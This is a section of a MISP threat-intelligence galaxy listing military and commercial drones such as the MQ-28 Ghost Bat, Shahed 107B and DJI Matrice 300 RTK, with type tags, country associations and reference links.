https://www.alamy.com/irans-air-force-kaman-22-drone-is-carried-on-a-truck-during-anannual-military-parade-marking-anniversary-of-the-beginning-of-war-against-iran-by-former-iraqi-dictator-saddam-hussein-in-front-of-the-shrine-of-the-late-revolutionaryfounder-ayatollah-khomeini-just-outside-tehran-iran-friday-sept-22-2023-ap-photovahid-salemi-image566749703.html
https://en.wikipedia.org/wiki/Kaman_22_(UAV

E300 Canadian

The Uavita E300 Canadian (E300 Enterprise) is a large fixed-wing UAS designed for agricultural and heavy-lift missions, with an 8.5 m wingspan, ~5 h endurance (up to ~23 h with auxiliary tanks), and a 300 kg payload. Operated in Canada and used by Ukraine, it has been adapted for military roles including weaponization and long-range logistics.

The tag is: *misp-galaxy:uavs="E300 Canadian"*

View relationships graph

E300 Canadian has relationships with:

- similar: misp-galaxy:country="canada" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24995. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/5ab0e2acc1bcd0d2bbe9e2905c37e823
https://www.airplane-pictures.net/airport.php?p=4323
https://www.uasvision.com/2023/03/27/ex-microsoft-execs-weaponizing-crop-dusting-drones-in-ukraine/
https://uavita.com/e300-enterprise/

D-12

UAS

The tag is: *misp-galaxy:uavs="D-12"*

View relationships graph

D-12 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24996. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8885ef4fc4965f5bf617d9bbc4087936
https://www.aeromax-group.com/products/airplanetypeuas/d-12/

CW-25H

VTOL

The tag is: *misp-galaxy:uavs="CW-25H"*

View relationships graph

CW-25H has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24997. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6f844a70f789131c5e7b130100c5cc9c
https://www.jouav.com/products/cw-25h.html

CW-15

VTOL

The tag is: *misp-galaxy:uavs="CW-15"*

View relationships graph

CW-15 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24998. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/2e8d30d4e4c2db7858d7dcd08e25b21b
https://www.jouav.com/products/cw-15.html

UTAP-22 Mako

EW, UAS

The tag is: *misp-galaxy:uavs="UTAP-22 Mako"*

View relationships graph

UTAP-22 Mako has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24999. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0eae74c817ec5dc36db10f469f05fb98
https://www.kratosdefense.com/wp-content/uploads/2025/07/Mako.pdf
https://www.kratosdefense.com/unmanned-systems/air/uncrewed-tactical-aircraft/mako

https://www.kratosdefense.com/resources/mako

MQ-28 Ghost Bat

Boeing Australia's MQ-28 Ghost Bat is an autonomous combat air teaming ("loyal wingman") drone that escorts crewed aircraft to extend their sensing and strike reach, performing ISR, electronic warfare, and weapons delivery with modular payloads up to 500 kg. With a 7.3 m wingspan and near-transonic top speed around 1,050 km/h, it serves as a survivable force multiplier for air operations.

The tag is: *misp-galaxy:uavs="MQ-28 Ghost Bat"*

View relationships graph

MQ-28 Ghost Bat has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="canada" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="poland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united kingdom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25000. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0fbd73bdbdafac5b16eb6fcfa1c711a0
https://armyrecognition.com/news/aerospace-news/2025/australias-new-boeing-mq-28-ghost-bat-combat-drone-is-now-ready-to-detect-and-track-enemy-aircraft
https://www.boeing.com/defense/mq28#overview
https://en.wikipedia.org/wiki/Boeing_MQ-28_Ghost_Bat

AQV 100 Scalpel

UAS

The tag is: *misp-galaxy:uavs="AQV 100 Scalpel"*

View relationships graph

AQV 100 Scalpel has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25001. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/85501fcb6fcc06d7b7080635d94a3c1d
https://onewayaerospace.com/vertical-series/aqv-100-scalpel/
https://www.dailykos.com/stories/2023/4/13/2163703/-Quick-Explainer-Ukraine-s-FPV-drones-may-be-deadlier-than-people-surmised

FH-96

UAS

The tag is: *misp-galaxy:uavs="FH-96"*

View relationships graph

FH-96 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25002. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f72c0ccda5c504f734c7f0f751362888
https://www.militarydrones.org.cn/fh-96-drone-p00615p1.html

FH-97A

UAS

The tag is: *misp-galaxy:uavs="FH-97A"*

View relationships graph

FH-97A has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25003. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/feac294c91aaf174d847c8ec2246817f
https://www.twz.com/clone-of-mq-28-ghost-bat-loyal-wingman-drone-displayed-by-china
https://www.reddit.com/r/WarplanePorn/comments/yl9mk9/new_fh97a_loyal_wingman_uav_displayed_at_zhuhai/

FH-902

UAS

The tag is: *misp-galaxy:uavs="FH-902"*

View relationships graph

FH-902 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25004. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6ccf98c9cf050b1d6b40455b9b86ade7
http://www.cndefense.com/uav/FH-902.html
https://customer.janes.com/display/JUAVA947-JUAV
https://www.militarydrones.org.cn/c/small-uavs_0047

Mavic 3M

UAS

The tag is: *misp-galaxy:uavs="Mavic 3M"*

View relationships graph

Mavic 3M has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25005. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/066a992f989c381c43b2a7997add9232
https://ag.dji.com/mavic-3-m
https://www.ebay.com/itm/175883365289
https://www.karaco.com/drones-aerial-targets/drones/mavic-3-multispectral/
https://www.fullcompass.com/prod/626870-dji-mavic-3m-multispectral-with-enterprise-care-basic-2-year-survey-drone-with-rgb-camera-and-multispectral-camera-2-yearwarranty

Alta X

UAS

The tag is: *misp-galaxy:uavs="Alta X"*

View relationships graph

Alta X has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25006. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/49dfefe1671b92c85dee942326fc13e8
https://www.ideorobo.com/products/altax/
https://store.freeflysystems.com/products/alta-x-non-rid
https://freeflysystems.com/alta-x/specs

Meraj 521 (□□□□□ □□□□□)

LM

The tag is: *misp-galaxy:uavs="Meraj 521 (□□□□□ □□□□□)"*

View relationships graph

Meraj 521 (□□□□□ □□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25007. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/cdd07657ec7c5e43b74934c6a8e3e5c8
https://www.overtdefense.com/2022/10/31/the-iranian-revolutionary-guards-newest-meraj-521-kamikaze-drone-is-on-its-way-to-russia/
https://english.iswnews.com/25352/military-knowledge-meraj-521-loitering-munition/

Astro

Freefly Astro is a U.S.-operated professional multirotor drone for aerial imaging, mapping, surveying, and inspection, carrying up to about 1.5 kg of cameras or sensors. It is an unarmed platform optimized for precise data collection and commercial workflows.

The tag is: *misp-galaxy:uavs="Astro"*

View relationships graph

Astro has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25008. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/688ee9d6cbb3202c2e2389d2a5e08e67
https://freeflysystems.com/astro/specs

MD-22

UAS

The tag is: *misp-galaxy:uavs="MD-22"*

View relationships graph

MD-22 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25009. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0088ff2354d142d5309100067ecc517c
https://www.twz.com/air/china-launches-hypersonic-planes-from-drones-balloons
https://customer.janes.com/display/BSP_47942-JDW
https://www.youtube.com/watch?v=Q3KYqICnZdE

Matrice 300 RTK

The Matrice 300 RTK is a professional, modular multirotor drone designed for demanding ISR, inspection, and public-safety missions. It offers long endurance, all-weather capability, and high positional accuracy thanks to integrated RTK. The platform supports a wide range of interchangeable payloads for imaging, thermal surveillance, mapping, and LiDAR. Its redundant systems and encrypted command-and-control make it suitable for critical operations. The drone is produced by DJI and is non-weaponised, intended for governmental and industrial use. It may use the following modules. The Zenmuse XT2 and XT S are thermal imaging payloads used for night operations, firefighting, and search-and-rescue, combining IR and visual data (XT2). The Zenmuse Z30 is a high-zoom EO camera (up to 30× optical) designed for long-range inspection and surveillance. The Zenmuse H20 and H20T are multi-sensor ISR payloads, integrating wide, zoom, thermal (H20T), and laser rangefinder for all-weather operations. The DJI P1 is a full-frame photogrammetry camera optimised for high-accuracy mapping and surveying. The DJI L1 is a

LiDAR payload combining laser scanning and RGB imaging for 3D terrain and infrastructure mapping, all produced by DJI.

The tag is: *misp-galaxy:uavs="Matrice 300 RTK"*

View relationships graph

Matrice 300 RTK has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="canada" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25010. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/4ba2329d562ce8a61d93963a6afc32f5
https://advexure.com/products/dji-matrice-300-rtk
https://www.dji.com/fr/support/product/matrice-300

Merlin-vr

UAS

The tag is: *misp-galaxy:uavs="Merlin-vr"*

View relationships graph

Merlin-vr has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25011. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ab8a8df2f3fc5e306d13a00eb2402a8c

https://en.defence-ua.com/weapon_and_tech/what_is_the_russian_experimental_merlin_vr_uav_that_was_shot_down_by_the_ukrainian_military_on_wednesday-5483.html
https://vpk.name/en/545176_russia-has-created-a-new-military-reconnaissance-drone-merlin-vr-for-monitoring.html
https://war-sanctions.gur.gov.ua/en/uav/360

Baba Yaga (vampire)

UAS

The tag is: *misp-galaxy:uavs="Baba Yaga (vampire)"*

View relationships graph

Baba Yaga (vampire) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25012. Table References

Links
https://en.wikipedia.org/wiki/Baba_Yaga_(aircraft)
https://odin.tradoc.army.mil/WEG/Asset/ae305ffa974ee1a75106f74e7cfebe23
https://www.twz.com/air/ukraines-baba-yaga-drones-now-appear-capable-of-launching-guided-munitions
https://armyrecognition.com/focus-analysisconflicts/army/conflicts-in-the-world/ukraine-russia-conflict/ukrainian-baba-yaga-unmanned-aerial-vehicle-has-become-true-nightmare-for-russian-forces?
https://natoukrainerussia.quora.com/Forbes-Ukraine-s-Baba-Yaga-drones-now-reportedly-equipped-with-guided-bombs-Ukraine-sBaba-Yaga-night-bombers-have-rec
https://armyrecognition.com/focus-analysis-conflicts/army/conflicts-in-the-world/ukraine-russia-conflict/ukrainian-baba-yagaunmanned-aerial-vehicle-has-become-true-nightmare-for-russian-forces?highlight=WyJydXNzaWEiXQ==

SHAHED-149 (gaza)

UAS

The tag is: *misp-galaxy:uavs="SHAHED-149 (gaza)"*

View relationships graph

SHAHED-149 (gaza) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25013. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e62938e1cd24676f36b5e7bb2edb7d02
https://armyrecognition.com/news/army-news/2025/breaking-news-iran-declares-shahed-149-gaza-drone-copy-of-us-mq9-reaper-operational-after-successfulstrike-tests
https://www.myanmaritv.com/news/iran-guards-unveil-gaza-drone
https://thedefensepost.com/2025/01/29/iran-gaza-heavy-drone/

Alpin

VTOL

The tag is: *misp-galaxy:uavs="Alpin"*

View relationships graph

Alpin has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25014. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ec94d704ca0a4905d577f702aa081ed6
https://armyrecognition.com/news/army-news/2025/idef-2025-turkish-alpin-drone-helicopter-redefines-tactical-surveillance-and-intelligence-missions
https://www.airforce-technology.com/projects/alpin-unmanned-helicopter/
https://www.titra.com.tr/en/unmanned-systems/alpin-unmanned-helicopter
https://www.defensenews.com/global/europe/2022/10/24/turkish-firm-developing-countrys-first-unmanned-helicopter/

BAS-750

UAS

The tag is: *misp-galaxy:uavs="BAS-750"*

View relationships graph

BAS-750 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25015. Table References

Links

https://odin.tradoc.army.mil/WEG/Asset/d8a177e36add1c7df9f17277d8d852eb
https://www.defensa.com/rusia/helicoptero-no-tripulado-ruso-bas-750
https://defence-blog.com/russia-converts-stolen-ukrainian-helicopter-into-drone/
https://www.aeroflap.com.br/en/Russia-presents-new-unmanned-military-helicopter/
https://defensehere.com/en/russian-helicopters-unveils-an-unmanned-helicopter-bas750/
https://www.aviacionline.com/rostec-unveiled-the-bas-750-its-new-and-most-capable-unmanned-helicopter

BAS-200

UAS

The tag is: *misp-galaxy:uavs="BAS-200"*

View relationships graph

BAS-200 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25016. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/940af9db9a2d9160dae9226dcc25964f
https://rostec.ru/en/directions/aviation/products-projects/bas-200-unmanned-helicopter-system/
https://armyrecognition.com/news/navy-news/2024/russiadeploys-bas-200-drones-to-support-arctic-icebreaker-operations
https://www.defensemirror.com/news/34208/Russian_BAS_200_Drone_Tested_at_Maximum_Distance_from_Control_Center
https://vpk.name/en/606149_bas-200unmanned-helicopter.html

SH-750

UAS

The tag is: *misp-galaxy:uavs="SH-750"*

View relationships graph

SH-750 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25017. Table References

Links

https://odin.tradoc.army.mil/WEG/Asset/6825874cdab665287d4c5e50a19c4722
https://airshownews.eu/2022/07/helirussia-2022-modest-jubilee/
https://vpk.name/en/604364_unmanned-aerial-vehicles-at-the-helirussia-2022-helicopterindustry-exhibition.html
https://www.aeromax-group.com/products/helicopteruas/sh-750/

SH-350

UAS

The tag is: *misp-galaxy:uavs="SH-350"*

View relationships graph

SH-350 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25018. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/cdcbcc7099fff2082cf242cc74aba603
https://www.aeromax-group.com/products/helicopteruas/sh-350/

D-20

UAS

The tag is: *misp-galaxy:uavs="D-20"*

View relationships graph

D-20 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25019. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/dd8049b54b5adc45fa110ddf163a1f39
https://www.aeromax-group.com/products/airplanetypeuas/d-20/

D-12K

UAS

The tag is: *misp-galaxy:uavs="D-12K"*

View relationships graph

D-12K has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25020. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e08648509f639c658d6a488feb64987b
https://www.aeromax-group.com/products/airplanetypeuas/d-12k/

AC-32-08

The AC-32-08 is a compact unmanned aerial vehicle (UAV). It is capable of performing a variety of tasks, including high-precision photography and real-time visual and thermal monitoring.

The tag is: *misp-galaxy:uavs="AC-32-08"*

View relationships graph

AC-32-08 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25021. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d5af54ff58b43c4d0984189bbe6915f7
https://www.aeromax-group.ru/wp-content/uploads/2023/03/ac_32_08_01.pdf

H100

UAS,VTOL

The tag is: *misp-galaxy:uavs="H100"*

View relationships graph

H100 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25022. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a5dffde480f0d8af4b3e79a0e6ace6c6
https://www.satuav.com/helicopter-drone/unmanned-cargo-helicopter.html

XS-101

LM, UAS

The tag is: *misp-galaxy:uavs="XS-101"*

View relationships graph

XS-101 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25023. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/3f0b2bf178aa5d8b91ce45192c0a9098
https://defence-blog.com/china-develops-clone-of-u-s-made-kamikaze-drone/
https://www.armyrecognition.com/focus-analysis-conflicts/army/defence-securityindustry-technology/china-unveils-xs101-new-autonomous-loitering-munition-mirroring-us-switchblade-300

TOGAN

UAS

The tag is: *misp-galaxy:uavs="TOGAN"*

View relationships graph

TOGAN has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25024. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ad37cfbf256629ccb3218e423fc768e1
https://www.stm.com.tr/en/togan-multi-rotor-uas

CW-80E

UAS

The tag is: *misp-galaxy:uavs="CW-80E"*

View relationships graph

CW-80E has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25025. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1bc1a825fab3fe45b38e8690bb2ca6e4
https://www.jouav.com/products/cw-80e.html

Air 2 (Mavic Air 2)

UAS

The tag is: *misp-galaxy:uavs="Air 2 (Mavic Air 2)"*

View relationships graph

Air 2 (Mavic Air 2) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25026. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6a119751b8cb2f65c644ee694d61f8e9
https://store.dji.com/product/mavic-air-2?vid=91071
https://dronexl.co/2025/07/02/ukraine-drone-crisis-china-halts-dji-mavic-sales/
https://en.wikipedia.org/wiki/DJI_Air

Teal 2

UAS

The tag is: *misp-galaxy:uavs="Teal 2"*

View relationships graph

Teal 2 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25027. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/21cc499c61b53495274d745d5a1c4b04
https://www.airforce-technology.com/news/iai-tactical-variant-heron-uas/

Vesper

ISR

The tag is: *misp-galaxy:uavs="Vesper"*

View relationships graph

Vesper has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25028. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/70358a30c18ecc97bde3b6a4b89677b4
https://botsanddrones.co/commercial-drones/f/vantage-vesper?blogcategory=Vantage+Robotics
https://www.ebay.com/itm/256561344949
https://vantagerobotics.com/

C100

ISR, UAS

The tag is: *misp-galaxy:uavs="C100"*

View relationships graph

C100 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25029. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f5b3ccfbc8408381f2d11bd3e00a1b7a
https://static1.squarespace.com/static/5e9dcc2b85c7582a9cb2fb5c/t/66d87474cf24080b5621cd67/1725461620716/C100_Defense_Final_1.3.pdf
https://www.pdw.ai/defense

Trace

UAS

The tag is: *misp-galaxy:uavs="Trace"*

View relationships graph

Trace has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25030. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/53230c5ce5b41e6a8a83cf635239417e
https://vantagerobotics.com/trace/

Spirit

UAS

The tag is: *misp-galaxy:uavs="Spirit"*

View relationships graph

Spirit has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25031. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1598bfe0284fb3956df85167648b3527
https://cloudcitydrones.com/products/spirit
https://safe.menlosecurity.com/doc/docview/viewer/docNAA9DE1FDB0F090b83d6bb5d6bacb6d04fcfdabab74b0b09e9521a66ad5bf3f325686420ef019
https://ascentaerosystems.com/blue-uas-at-ascent-aerosystems/

UJ-22 Airborne

UAS

The tag is: *misp-galaxy:uavs="UJ-22 Airborne"*

View relationships graph

UJ-22 Airborne has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25032. Table References

Links
https://ru.wikipedia.org/wiki/UJ-22_Airborne
https://odin.tradoc.army.mil/WEG/Asset/94a5ab4f1ac331ed716b4669ec376788
https://premium.globalsecurity.org/military/world/ukraine/uj-22-pics.htm
https://www.facebook.com/WhiteRaSC/posts/the-uj-22-drone-is-a-multi-purpose-strikevehicle-manufactured-by-ukrjet-it-was-/979321487087479/
https://www.turbosquid.com/3d-models/ukrjet-uj22-airborne-drone-3d-1942296
https://special-ops.org/uj-22airborne-drone/

IF1200

UAS

The tag is: *misp-galaxy:uavs="IF1200"*

View relationships graph

IF1200 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25033. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/06f31e50b6939caeeab1d489673633d8
https://uavcoach.com/if800-tomcat/
https://www.linkedin.com/in/bobby-calizon-a80a95a9
https://www.grepow.com/tag/uav-battery.html?page=3

Edge 130 Blue

UAS

The tag is: *misp-galaxy:uavs="Edge 130 Blue"*

View relationships graph

Edge 130 Blue has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25034. Table References

Links

https://odin.tradoc.army.mil/WEG/Asset/aefa466fc6211fa2df9858803b3ada64
https://www.flightwave.aero/edge-130-blue/

UJ-23 Topza

UAS

The tag is: *misp-galaxy:uavs="UJ-23 Topza"*

View relationships graph

UJ-23 Topza has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25035. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d19c3f82eb937f62386cd4c252bd43a2
https://www.yahoo.com/news/ukraines-jet-powered-uj-25-223036920.html
https://x.com/PStyle0ne1/status/1738186798705098790
https://x.com/bayraktar_1love/status/1702427628010139691

Ebee TAC Swiss

UAS

The tag is: *misp-galaxy:uavs="Ebee TAC Swiss"*

View relationships graph

Ebee TAC Swiss has relationships with:

- similar: misp-galaxy:country="switzerland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25036. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7cc366db4d99924526340c1655a56956
https://ageagle.com/drones/ebee-tac/

Edge 130 Enterprise

UAS, VTOL

The tag is: *misp-galaxy:uavs="Edge 130 Enterprise"*

View relationships graph

Edge 130 Enterprise has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25037. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/267d526a9d6704c2f6816fff3f61dddb
https://www.flightwave.aero/edge-130-enterprise/
https://dronelife.com/2023/01/18/blue-suas-list-adds-long-range-drone-flightwave-edge-130-vtol/
https://www.facebook.com/flightwaveaerospace/

IF800 Tomcat

UAS

The tag is: *misp-galaxy:uavs="IF800 Tomcat"*

View relationships graph

IF800 Tomcat has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25038. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/419c368be057a6a3ceb2bd2ab3aa8f72
https://sentera.com/resources/news/sentera-drone-and-sensor-business-segment-moving-to-new-internet-domain/
https://www.inspiredflight.com/if800.php

Ptero-go

UAS

The tag is: *misp-galaxy:uavs="Ptero-go"*

View relationships graph

Ptero-go has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25039. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/2cb45250ec0c693a9d90e56076a99e4c
https://www.suasnews.com/2015/04/russia-to-export-its-ptero-class-unmanned-aircraft-systems/
https://www.deagel.com/Components/Ptero/a003168

HZH XL80

UAS

The tag is: *misp-galaxy:uavs="HZH XL80"*

View relationships graph

HZH XL80 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25040. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a28e61bedfc94e3188075ab8e1f23163
https://www.hongfeidrone.com/hzh-xl80-professional-grade-uav-tethered-high-altitude-lighting-product/

Flycart 30

UAS;VTOL

The tag is: *misp-galaxy:uavs="Flycart 30"*

View relationships graph

Flycart 30 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25041. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d4ce39dfda517412163dd2e72a14bb0d
https://www.facebook.com/UAVsolutionsupplier/

https://www.tracerdrone.com/products/dji-flycart-30-delivery-drone
https://www.linkedin.com/posts/zhanglan-liutethered-drone-system-at-rosefinch-2264792a0_uav-tethered-tethered-activity-7158650225924943872-mOyK
https://4imag.com/tag/dji-flycart-30/

Black Widow

EW, UAS

The tag is: *misp-galaxy:uavs="Black Widow"*

View relationships graph

Black Widow has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25042. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/34c6e1952e55ba2d168d0091de810394
https://tealdrones.com/black-widow/#specs
https://doodlelabs.com/tag/teal-drones/
https://www.wsj.com/politics/national-security/u-s-military-selects-little-knownutah-supplier-for-drone-program-c492dc3d

STRIX Australia

VTOL

The tag is: *misp-galaxy:uavs="STRIX Australia"*

View relationships graph

STRIX Australia has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"

Table 25043. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6537a49dce04412a5cecf9f29e2359a9
https://www.baesystems.com/en-aus/strix#

Shahed 107B

UAS

The tag is: *misp-galaxy:uavs="Shahed 107B"*

View relationships graph

Shahed 107B has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25044. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/909f191509f55b9a4a2efb5184f129f7
https://en.rattibha.com/thread/1746090324965884285

K1000

UAS, VTOL

The tag is: *misp-galaxy:uavs="K1000"*

View relationships graph

K1000 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25045. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f592ccfdb86957211fe83496b8eb16bb
https://www.thedefensepost.com/2024/04/08/us-solar-powered-vtol-drone/
https://www.flightglobal.com/military-uavs/solar-uav-may-have-broken-endurancerecord-with-three-day-flight/154446.article
https://www.edrmagazine.eu/kraus-hamdani-aerospace-wins-contract-to-provide-the-u-s-navy-with-its-first-electric-vtol-unmanned-aerial-system-uas
https://www.linkedin.com/posts/broadfield-security-services-holland-bv_bss-kraushamdani-activity-7196860741906243584-QTXh
https://eijournal.com/news/business2/kraus-hamdani-aerospace-wins-contract-to-provide-the-u-s-navy-with-its-first-solar-electric-vertical-takeoff-and-landing-vtol-unmanned-aerial-system-uas

ASA 1204 Aarok

ISR, STRIKE

The tag is: *misp-galaxy:uavs="ASA 1204 Aarok"*

View relationships graph

ASA 1204 Aarok has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25046. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/52e8f26a769a2b7737db9dfa36cafd59
https://armyrecognition.com/news/aerospace-news/2025/franco-indian-defense-industries-partner-to-produce-aarok-drones-with-local-manufacturing-in-india
https://www.twz.com/frances-largest-ever-drone-has-broken-cover
https://aarok.fr/en/

Anka III

The Anka III is a tactical unmanned aerial system developed by Turkish Aerospace, capable of operating for up to 10 hours at speeds of 425 knots and carrying a payload of 1,200 kg, including weaponry. It serves primarily in Turkey, enhancing the country's reconnaissance and strike capabilities.

The tag is: *misp-galaxy:uavs="Anka III"*

View relationships graph

Anka III has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25047. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/5087b885874ecbb4eb10d076d3ada792
https://www.tusas.com/en/products/uav/operative-strategic-uav-systems/anka-III

Mohajer-10 (□□□□□)

UCAV

The tag is: *misp-galaxy:uavs="Mohajer-10 (□□□□□)"*

View relationships graph

Mohajer-10 (□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25048. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f02ec7daac033666fb419bea57a8a768
https://www.turbosquid.com/FullPreview/2225802
